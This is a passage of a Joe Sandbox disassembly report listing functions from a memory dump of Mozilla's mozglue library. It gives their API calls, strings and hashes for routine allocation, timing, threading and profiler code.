String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction ID: ad6426bf259c87df681dd460a3b5fcb575defc0667717e2f4c610bc012407c9b
Opcode Fuzzy Hash: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction Fuzzy Hash: 7A811370B042419FEB00DF68CD54B697BF4EB46308F96052AE901D7F80EBB9A805CBD9

Function 6C4E7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4E801D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E808D

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E8199

Strings

0>Ql, xrefs: 6C4E811E

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Ql
API String ID: 2721933968-406761025
Opcode ID: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction ID: 89e085a994dafa142ffc40a84774b79003cff7a337f4b896889fff570ef251c0
Opcode Fuzzy Hash: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction Fuzzy Hash: C75172B1E002149BDF00DBA9DC84EAFBBB9AF89265F154129E815E7741E730ED05CBA1

Function 6C4E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4E6017

Part of subcall function 6C4D4310: moz_xmalloc.MOZGLUE(00000010,?,6C4D42D2), ref: 6C4D436A
Part of subcall function 6C4D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4D42D2), ref: 6C4D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
GetCurrentProcess.KERNEL32 ref: 6C4E5F53
GetCurrentThread.KERNEL32 ref: 6C4E5F5C
GetCurrentProcess.KERNEL32 ref: 6C4E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E60CC

Strings

GeckoMain, xrefs: 6C4E5ECE, 6C4E6015

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction ID: dde8e83f1fcd86cecbf95675bc4b111d03995ff203afee0a47e7edfe99234071
Opcode Fuzzy Hash: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction Fuzzy Hash: 8E719EB0604740DFD700DF28C880E6ABBF0BF9A305F554A6DE98687B52D771E948CB92

Function 6C4E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4D3217
Part of subcall function 6C4D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4D3236
Part of subcall function 6C4D31C0: FreeLibrary.KERNEL32 ref: 6C4D324B
Part of subcall function 6C4D31C0: __Init_thread_footer.LIBCMT ref: 6C4D3260
Part of subcall function 6C4D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4D327F
Part of subcall function 6C4D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D328E
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32AB
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32D1
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4D32E5
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

MapViewOfFileNuma2, xrefs: 6C4E97B1
NtMapViewOfSection, xrefs: 6C4E9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
ntdll.dll, xrefs: 6C4E96E3

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction ID: 47ce4f42ec0c078042cb29ecf1f06401fed4c9443e6af6960a62abd1ff9e295d
Opcode Fuzzy Hash: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction Fuzzy Hash: D361E371B00201EFDF00DF69DC88F9A7BB4EB4A316F924229E91693780D731A858CB95

Function 6C536660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536694
GetThreadId.KERNEL32(?), ref: 6C5366B1
GetCurrentThreadId.KERNEL32 ref: 6C5366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5366E1
EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536734
GetCurrentProcess.KERNEL32 ref: 6C53673A
LeaveCriticalSection.KERNEL32(6C55F618), ref: 6C53676C
GetCurrentThread.KERNEL32 ref: 6C5367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C536868
RtlCaptureContext.NTDLL ref: 6C53687F

Strings

WalkStack64, xrefs: 6C536890

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction ID: 11469bbbd3b68dd6175c17ff3736780095ca8f9000ecd9ad94a2cd8fc4864b30
Opcode Fuzzy Hash: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction Fuzzy Hash: 5E51CB71A09310AFDB11DF24CC48B5ABBF4BF89714F44492DF99887640EBB0E8088B92

Function 6C51DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51DE73
GetCurrentThreadId.KERNEL32 ref: 6C51DF7D
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DF8A
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DFC9
GetCurrentThreadId.KERNEL32 ref: 6C51DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C51DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C51E00E
<none>, xrefs: 6C51DFD7

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction ID: 256bd6afa5caf229f38b6bfb87e0c8d251b55abe561817ac6a8b1b33e2bbbe54
Opcode Fuzzy Hash: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction Fuzzy Hash: 24411335B05210DBEB11AF64DC0CBAABB75EB8230CF850219E90997F41DB719D05CBEA

Function 6C52D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D918
GetCurrentThreadId.KERNEL32 ref: 6C52D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D970
GetCurrentThreadId.KERNEL32 ref: 6C52D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52DA2E
GetCurrentThreadId.KERNEL32 ref: 6C52DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C52DA91

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52DAB7

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction ID: 8916d7fd69cbeb8d37a59bf9f06ae8ea45d4a3753c4ad7a5e9a6f24e443f89ba
Opcode Fuzzy Hash: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction Fuzzy Hash: 1F71DF35604304DFCB00DF29C888B9ABBF5FF89314F59856EE85A9B341DB34A844CB95

Function 6C52D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D52A
GetCurrentThreadId.KERNEL32 ref: 6C52D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D55F
free.MOZGLUE(00000000), ref: 6C52D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52D5D3
GetCurrentThreadId.KERNEL32 ref: 6C52D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D652
GetCurrentThreadId.KERNEL32 ref: 6C52D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D6A2

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction ID: 69f038ba679c794bb081c930b888cd97b4f0bc76348e35c3014c58d019c7716f
Opcode Fuzzy Hash: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction Fuzzy Hash: CA519A71A04705DFC704DF35C888A9ABBF4FF89318F418A2EE84A87751EB34A845CB95

Function 6C4D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EC1
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EE1
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F38
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4D1F83
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FC0
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FE2
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4D2019

Strings

DUl, xrefs: 6C4D1F32
DUl, xrefs: 6C4D1F56
MOZ_CRASH(), xrefs: 6C4D2000
\Ul, xrefs: 6C4D1F3E

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DUl$DUl$MOZ_CRASH()$\Ul
API String ID: 2055633661-2068375349
Opcode ID: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction ID: d366c1acbd2f46e2021185ea03c973e8368adda1a51b709d76b7704d6962875d
Opcode Fuzzy Hash: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction Fuzzy Hash: C541D471B043558FDF01EFA8CC98F6A36B5EB4A318F46012AED05D7741DBB5A8048BD6

Function 6C4F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C4F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F57BC
GetTickCount64.KERNEL32 ref: 6C4F58CB
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F58F3
__aulldiv.LIBCMT ref: 6C4F5945
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C55F638,?,?,?,?), ref: 6C4F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C4F56CC

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction ID: 1f81bec8ea9434231b4946615ded6c2377a8b8f80fa253094258920f316f5e88
Opcode Fuzzy Hash: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction Fuzzy Hash: 6FC17E71A097409FD705CF28C840A6ABBF1BFCA714F568B1DE8D497760D730A986CB86

Function 6C51EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EC8C

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51ECA1
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C51ECC5
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51ED19
CloseHandle.KERNEL32(?), ref: 6C51ED28
free.MOZGLUE(00000000), ref: 6C51ED2F
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C51EC94

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction ID: 44e81e904be07cdde344a140e5e76e265843210b56465f102cc368b85304310c
Opcode Fuzzy Hash: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
